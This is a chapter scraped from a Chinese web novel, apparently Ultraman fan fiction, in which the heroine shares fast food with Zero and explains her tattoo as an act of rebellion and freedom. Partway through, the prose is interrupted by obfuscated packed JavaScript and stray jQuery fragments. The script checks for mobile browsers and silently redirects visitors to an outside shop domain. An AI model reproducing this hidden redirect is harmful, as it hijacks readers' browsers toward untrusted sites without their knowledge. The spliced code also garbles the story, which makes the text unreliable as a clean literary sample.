文趣网 > 都市小说 > 情报商巧施连环计 > 24. 第 24 章
    赛罗凑近了杯沿,谨慎的吐出舌头点了一下。

    “!”

    麻麻的,的确有点刺激,很冰,但是有甜味唉!

    他又新奇的抿了一口。

    “如果你大口喝的话,可乐会让你感到很快乐哦。”荣鸟饶有兴致的托腮,看着赛罗的试探。

    赛罗看了她一眼,但好奇最终还是战了上风,他低下头,喝了一大口。

    “!”

    冰凉的气泡水涌入口腔,气泡在舌尖、上颚、喉咙里同时炸开,那种刺激比刚才强烈了好几倍,像一场微型的烟火在口腔里绽放。

    他眼灯亮亮的,又喝了一大口。

    荣鸟看着他惊艳的表情,被满足了期待。

    她这些天可不是只干了装修和交朋友。借着手环系统的辅助,她大量了解了奥特曼的生理结构、文化习俗、社会结构和规章法度。

    她了解到奥特曼虽然主要依靠吸收外界的各类射线补充能量、维持生命,但他们的身体保留了进化前的主要进食器官。

    那是进化史中遗留下来的痕迹,像人类身上的尾骨,不再必需,却从未消失。

    而且组成那些进食器官神经的光粒子产生的反馈,与人类大同小异。

    这意味着,人类的味觉体验可以等同奥特曼的味觉体验。

    更重要的是——外物进入奥特曼体内后,都会被光消溶,食物不会在他们的身体里停留,只会被那些流动的光粒子分解。

    荣鸟多次确认过这些信息,才敢给赛罗尝试人类食物。

    她看着赛罗又端起杯子大喝了一口,他含了一块冰,用力嚼碎,发出嘎吱嘎吱的声响。

    没味道。

    下一块冰滑过来,撞在他上唇,他微微皱眉,把冰块用舌尖顶回去,继续喝。

    “不要直接喝完哦,和食物搭配起来,味道会更好。”

    荣鸟指着餐桌中间的几个盘子依次介绍:“汉堡,炸鸡块,薯条——都可以直接用手拿着吃,之后洗手就可以了。”

    她指尖点了点小碟子里那抹鲜艳的红色。

    “炸鸡块和薯条可以蘸小碟子里的番茄酱一起吃。”

    她说着,先做示范,拿起一根薯条沾上番茄酱放进嘴里。

    她选择这些食物都是有考量的,首先是这些油炸食品都是小孩最爱,赛罗喜欢的可能性最高。

    其次奥特曼没有餐具这一用品,第一次尝试食物,不适合让赛罗还要学习麻烦的餐具用法。

    就算以他的天赋绝对能很快上手,但能更轻松愉快一些为什么不呢?

    赛罗有学有样,吃了一根沾番茄酱的薯条,又尝了一根没沾酱的薯条。

    然后他拿起一根新的,非常认真、非常专注、非常小心翼翼地——

    开始努力尝试如何让番茄酱裹满整根薯条。

    他捏着薯条在番茄酱里平放着滚了一圈,又滚了一圈,又滚了一圈。

    拿起来时番茄酱裹得太厚了,开始往下滴,他连忙凑过去张嘴接住,酱汁蹭在嘴角,他伸出舌尖舔了一下。

    荣鸟:……

    还真是小孩心性。

    于是她又做起示范,拿了鸡块吃。

    赛罗这才尝试下一个食物。

    荣鸟看他吃完了后,再双手拿起汉堡,大大的啃了一口。

    赛罗盯着她嚼嚼嚼,咽下去。

    然后立刻放下新拿起的鸡块,同样双手拿起汉堡,大大的啃了一口。

    嚼嚼嚼。

    面包、肉饼、生菜、番茄、酱汁,所有的味道在口腔里同时炸开。

    “!!!”

    眼灯亮到了新高度。

    赛罗几下血盆大口消灭了汉堡,又咕嘟咕嘟灌了半杯可乐。

    荣鸟眯着眼,拿起自己手边的酒杯抿了一口,心想小孩真不好带。

    奥特曼身体抗不抗造啊……资料靠谱吗?她看得很担心他等一下胃疼拉肚子啊……

    “你左手的花纹是什么,”赛罗别扭的问,“人类身上好像不会有这种东西。”

    他的目光落在她左手上——那个位置,从她开始做饭起就一直在他的余光里晃。

    他观察很久了,人类左手的护腕之前一直戴着,直到去厨房的时候才摘下来,现在吃东西的时候也是露出来的。

    从肉里透出来的深红,构成锋利尖锐的图案,柔和的白色线条缠绕交织,像雾气缠绕荆棘,像月光穿过利刺。

    那些图案微微凸起,从食指的根部蔓延到手背,越过手腕,没入衣袖的深处。

    荣鸟放下酒杯,琥珀色的液体在杯底晃了晃,酒痕沿着杯壁缓缓滑落。

    她看了他一眼,没有回答,只是慢条斯理地用餐巾纸擦了擦手指。

    然后她低下头,捏住左腕的袖口,解开扣子,衣袖被她挽到手肘处,完整的花纹从布料下显露出来——从手背一路蔓延到小臂外侧,在肘弯处渐渐稀疏,像一条河流在平原上散开。

    “这是后天添加的,叫纹身,原理是用针将颜料刺入角质层,留下几乎永久的花纹。”

    “我纹了一年,已经恢复完了,但我是疤痕体质,会有一点均匀的凸起。”

    因为锚的影响,她不必再担心褪色模糊的问题,她纹身会永远鲜艳到死亡。

    她将手臂伸出,灯光从上方落下来,那些微微凸起的纹路在光线下投下浅浅的阴影,让每一根线条都显得立体而鲜活。

    “红色的是骨刺和荆棘,白色的是渺渺云烟,比较抽象意识流。”

    红色的骨刺扎眼至极——是尖锐的、带着攻击性的、像要从皮肤里刺出来的红。

    每一根刺的末端都收成锋利的尖,像某种生物的脊骨被嵌进了她的肌肤里。

    而白色的线条细细地穿插其间,不显眼,却不可或缺。像薄雾笼罩着荆棘,像云烟缠绕着骨刺,用点刺的手法在那些尖锐的、危险的红色之间,填上了柔软的、缥缈的空白,错落有间,疏密有致。

    很独特。

    是会令见者留下深刻印象的纹身。

    与荣鸟习惯显露的气质反差极大。

    她安静的看着赛罗,等待他的评价。

    赛罗的目光还在那只手上,沿着那些红色的骨刺一根一根地移动,从手背到手腕,从手腕到小臂,从小臂到肘弯。

    “为什么要纹下这个?”他问,“你对自己本身的颜色感到不满意吗?”

    荣鸟挑眉,没想到他会问这个。

    不过想想也不是不能理解,在新生代出现之前,光之国的奥特曼们花纹还是挺朴素的。

    红族的红,银族的银,蓝族的蓝,泾渭分明,混血奥在那个时代是少数的,是被好奇的目光注视过的存在。

    赛罗年幼的时候,面对自己身上那些与众不同的红蓝纹路,是否也曾疑惑过——<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17560389|204537||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    为什么自己和别人不一样?

    “我的家乡有一种广泛的说法,每个人都是一张可供书写的纸。”

    “外界的种种,时代的洪流——都会在纸面上留下痕迹。”

    “我对此感到不满,但我无法阻止被书写。”

    “从我出生的那一刻起,世界就开始在我身上写字了。写我的性别,写我的家庭,写我该成为什么样的人、该走什么样的路、该在什么时候做什么事。”

    “有些字写得好看,有些字写得难看。但不管好看难看——那些都不是我自己选的。”

    “所以我决定,要自己为自己留下不可磨灭,永远不会被覆盖的痕迹。”

    反逆,这是在她的故乡中绝对反逆的言论。

    但在宇宙,在这里,在赛罗面前,没有任何问题,只是一个有趣的,令他欣赏的想法。

    于是赛罗再次好奇的询问:“用针把颜料刺进去,会很疼吧?”

    他又开始揉皮古蒙了,他的手指陷进赤红色的长绒毛里,来回摩挲,把手上的油都蹭上去了。

    看得荣鸟眉毛跳舞。

    “你们人类不是都很脆弱的吗?甚至不能施加6盎司以上的力。”

    “你这家伙当时肯定哭的很丑。”

    荣鸟:……

    “人类需要疼痛来确认自己活着,”她扯了一句哲学来糊弄,没反驳赛罗“哭的很丑”的定论。

    因为当时的她确实疼哭了……

    19岁的少女一个人坐在纹身店里,咬着牙,听着针头刺入皮肤的声音,感受着颜料在角质层下扩散的灼烧感。

    眼泪从眼角滑下来,顺着脸颊流进衣服里。

    “但比起疼痛,纹身的时候我更觉得痛快。”

    “非常痛快。”

    荣鸟十指交叉,带着一点矜持的得意。

    “在社会风气中,纹身是非常反逆的行为,我当时瞒着所有人——选图案,选纹身师,选时间,攒钱。没有人知道,没有人可以知道。”

    “我独自花了三天时间完成纹身。”

    “然后——但凡认识我的人都炸开锅了,他们简直吵的要死。”

    她笑着说,脸上还是那种得意的表情。

    “可能有些幼稚,但我在那种痛快中感受到了自由。”

    自由。

    她说这个词的时候,舌尖抵住上颚,然后松开,气息从齿间轻轻逸出——像一只鸟自由的飞出去时,翅膀划破空气的声音。

    赛罗若有所思的点点头,不再说话了。

    他从头到尾除了几个问题,没有做出任何评价,不说漂亮,不说丑,不说好也不说坏。

    荣鸟真的挺意外的,可能是赛罗不了解人类,也可能是不了解她,所以保持了沉默。

    都有点不像他了,荣鸟想,但她难道就了解赛罗了吗?

    她端起酒杯,又抿了一口,看着吃完了汉堡的赛罗一口一个鸡块。

    他没有受到过人类的进食礼仪,所以动作自带一种纯然的野蛮感,不懂克制,不懂掩饰。

    嘴张的大,撕咬和咀嚼的动作也大,一口下去就是一个完整的齿痕,下颌上下运动,能看见他颈侧的纹路跟着一起一伏,还会有声音发出来。

    荣鸟放下酒杯,心想这很正常,奥特曼干嘛要学人类的礼仪,人类又没统一全宇宙。

    而且他这么吃又不丑。